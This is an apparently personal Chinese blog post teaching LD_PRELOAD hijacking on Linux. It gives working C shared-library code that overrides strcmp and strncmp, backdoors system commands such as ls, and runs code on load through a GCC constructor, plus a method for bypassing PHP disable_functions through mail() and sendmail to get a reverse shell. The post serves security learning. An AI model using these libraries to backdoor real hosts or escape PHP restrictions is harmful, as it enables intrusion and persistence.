LD_RELOAD 劫持

最新推荐文章于 2024-07-24 09:48:42 发布

m0_59049258

最新推荐文章于 2024-07-24 09:48:42 发布

阅读量172

点赞数 1

文章标签： linux 运维服务器

本文链接：https://blog.csdn.net/m0_59049258/article/details/132383112

版权

（一）定义一个函数，函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。

（二）将所写的 c 文件编译为动态链接库。

（三）对 LD_PRELOAD 及逆行设置，值为库文件路径，接下来就可以实现对目标函数原功能的劫持了

（四）结束攻击，使用命令 unset LD_PRELOAD 即可

一、LD_RELOAD 介绍

LD_PRELOAD是Linux/Unix`系统的一个环境变量，它影响程序的运行时的链接（Runtime linker），它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库

通过上述对 LD_PRELOAD 的功能的描述，我们可以想到，既然能够覆盖正常的函数库，那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序，来实现我们的目的呢？

这也就是我们的 LD_PRELOAD 在攻防中的功能。

1、程序的链接

程序的链接可以分为以下三种

静态链接：在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序，之后不再拆开。
装入时动态链接：源程序编译后所得到的一组目标模块，在装入内存时，边装入边链接。
运行时动态链接：原程序编译后得到的目标模块，在程序执行过程中需要用到时才对它进行链接。

静态链接库，在Linux下文件名后缀为.a，如libstdc++.a。在编译链接时直接将目标代码加入可执行程序。

动态链接库，在Linux下是.so文件，在编译链接时只需要记录需要链接的号，运行程序时才会进行真正的“链接”，所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库，则只需要加载一份到内存中共享。因此， 动态链接库也称共享库 或者共享对象。

Linux规定动态链接库的文件名规则比如如下：

libname.so.x.y.z

lib:统一前缀。
so：统一后缀。
name：库名，如libstdc++.so.6.0.21的name就是stdc++。
x： 主版本号 。表示库有重大升级，不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21的主版本号是6。
y： 次版本号 。表示库的增量升级，如增加一些新的接口。在主版本号相同的情况下， 高的次版本号向后兼容低的次版本号 。如libstdc++.so.6.0.21的次版本号是0。
z： 发布版本号 。表示库的优化、bugfix等。相同的主次版本号，不同的发布版本号的库之间 完全兼容 。如libstdc++.so.6.0.21的发布版本号是21。

2、动态链接库的搜索路径搜索的先后顺序

编译目标代码时指定的动态库搜索路径（可指定多个搜索路径，按照先后顺序依次搜索）；
环境变量LD_LIBRARY_PATH指定的动态库搜索路径（可指定多个搜索路径，按照先后顺序依次搜索）；
配置文件/etc/ld.so.conf中指定的动态库搜索路径（可指定多个搜索路径，按照先后顺序依次搜索）；
默认的动态库搜索路径/lib；
默认的动态库搜索路径/usr/lib；

不过可以发现，这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中，反而出现了一个 LD_LIBRARY_PATH，这里关于二者之间的关系和区别在 stackoverflow 上也有大佬讨论，观点也很多，不过在这里我比较认可的是下面这个观点

LD_PRELOAD(not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( *files* ) 的列表，无论程序是否需要。LD_LIBRARY_PATH是在加载无论如何都会加载的库时要搜索的 *目录列表。* 在 linux 上，您可以阅读man ld.so`有关这些和其他影响动态链接器的环境变量的更多信息。

可见，这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外，它可以指定在程序运行前优先加载的动态链接库

二、LD_RELOAD 的利用

1、操作步骤

（一）定义一个函数，函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。

（二）将所写的 c 文件编译为动态链接库。

（三）对 LD_PRELOAD 及逆行设置，值为库文件路径，接下来就可以实现对目标函数原功能的劫持了

（四）结束攻击，使用命令 unset LD_PRELOAD 即可

这个攻击方式可以用在任意语言之中，我们这里用一个 C 语言的 demo 来进行一下测试。

my_whoami.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

将my_whoami.c编译为可执行文件

gcc my_whoami.c  -o my_whoami

执行时发现当判断函数正常判断

接下来写一个动态链接库，将上面进行判断的strcmp替换掉

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数，劫持后启动了一个新进程，若不在新进程启动前取消 LD_PRELOAD，则将陷入无限循环，所以必须得删除环境变量 LD_PRELOAD，最直接的就是调用 unsetenv("LD_PRELOAD")。

将文件写好后，对文件进行编译，同时加入环境变量

可见strcmp函数确实被劫持了

2、制作后门

（一）系统命令后门

在操作系统中，命令行下的命令实际上是由一系列动态链接库驱动的，在 linux 中我们可以使用readelf -Ws命令来查看，同时系统命令存储的路径为/uer/bin

既然都是使用动态链接库，那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库，那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢？

这也就是我们制作后门的原理，这里以 ls 为例作示范

将其中的strncmp替换掉

hack_strncmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

对文件进行编译和环境变量设置

strncmp函数劫持成功

（二）php进行劫持

既然我们已经劫持了系统命令，那么我们是不是就有办法在 web 环境中实现基于 LD_PRELOAD 的 RCE 命令执行呢？

但是这里实际上是要仔细思考一下的。我们需要一个 新的进程 的启动，加之环境变量的操纵与文件上传和文件包含，，有时候，我们已经拿到了 shell ，但是因为disable_functions不能执行命令，不能拿到想要的东西，而我们利用 LD_PRELOAD 劫持进程之后的反弹 shell ，就可以执行任意命令了，这也就是我们常说的 绕过 disable_function。

第一 php需要启动一个新的进程

第二控制环境变量

不过这里我们可以注意到一个点很关键，我们需要启动一个新的进程，并利用 LD_PRELOAD 劫持这个进程相关的链接库。

在 PHP 中，我们需要找到可以启动新进程的 PHP 函数，这种情形通常会出现在处理图片、请求网页、发送邮件等场景中，通常情况下我们所使用的便是 mail 函数了。

1、mail函数开启新进程

先写一个mail.php

<?php
mail("a@localhost","","","","");
?>

执行以下命令查看系统调用的函数详情

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

可以看到 execve 所执行的动态链接库为 sendmail

查看sendmail对应动态链接库

readelf -Ws /usr/sbin/sendmail

发现使用了getuid

hack_getuid.c

编译和设置环境变量

因为payload执行的是一个反弹shell的操作，我使用192.168.35.144主机的2333端口进行监听，然后运行文件

192.168.35.144：

运行文件得到反弹shell

还有个error_log也可以进行劫持，可自行研究。

2、劫持系统新进程

我们可以发现，上面的情况实际上导致了我们的攻击面是非常窄小的，我们在实际情况中很容易就会出现并没有安装 sendmail 的情况，就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢？

设想这样一种思路：利用漏洞控制 web 启动新进程 a.bin（即便进程名无法让我随意指定），a.bin 内部调用系统函数 b()，b() 位于系统共享对象 c.so 中，所以系统为该进程加载共 c.so，我想法在 c.so 前优先加载可控的 c_evil.so，c_evil.so 内含与 b() 同名的恶意函数，由于 c_evil.so 优先级较高，所以，a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b()，同时，c_evil.so 可控，达到执行恶意代码的目的。基于这一思路，将突破 disable_functions 限制执行操作系统命令这一目标，大致分解成几步在本地推演：查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

系统通过 LD_PRELOAD 预先加载共享对象，如果能找到一个方式，在加载时就执行代码，而不用考虑劫持某一系统函数，那么就完全可以不依赖 sendmail 了。

这里场景让人不禁联想到构造方法，师傅们最后找到了在 GCC 中有一个 C 语言的扩展修饰符 __attribute__((constructor)) ，这个修饰符可以让由它修饰的函数在 main() 之前执行，如果它出现在我们的动态链接库中，那么我们的动态链接库文件一旦被系统加载就将立即执行__attribute__((constructor)) 所修饰的函数。

这样就将我们的格局打开了，我们要做的是劫持动态链接库这个共享对象本身，而不是单独局限于劫持某几个函数。

以劫持 ls 为例，我们之前所做的就是找到 ls 命令所调用的某一个动态链接库，然后对其进行劫持。但是我们在这里完全可以使用__attribute__((constructor)) 自动加载之后来直接对 ls 命令进行劫持

hack_global.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("id");
}

成功劫持，只要启动了进程便会进行劫持.

3、大赛题目

暂时没做

m0_59049258

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
LD_RELOAD 劫持

LD_PRELOAD是Linux/Unix`系统的一个环境变量，它影响程序的运行时的链接（Runtime linker），它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量，我们可以在主程序和其动态链接库的中间加载别的动态链接库，甚至覆盖正常的函数库通过上述对 LD_PRELOAD 的功能的描述，我们可以想到，既然能够覆盖正常的函数库，那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序，来实现我们的目的呢？
复制链接

扫一扫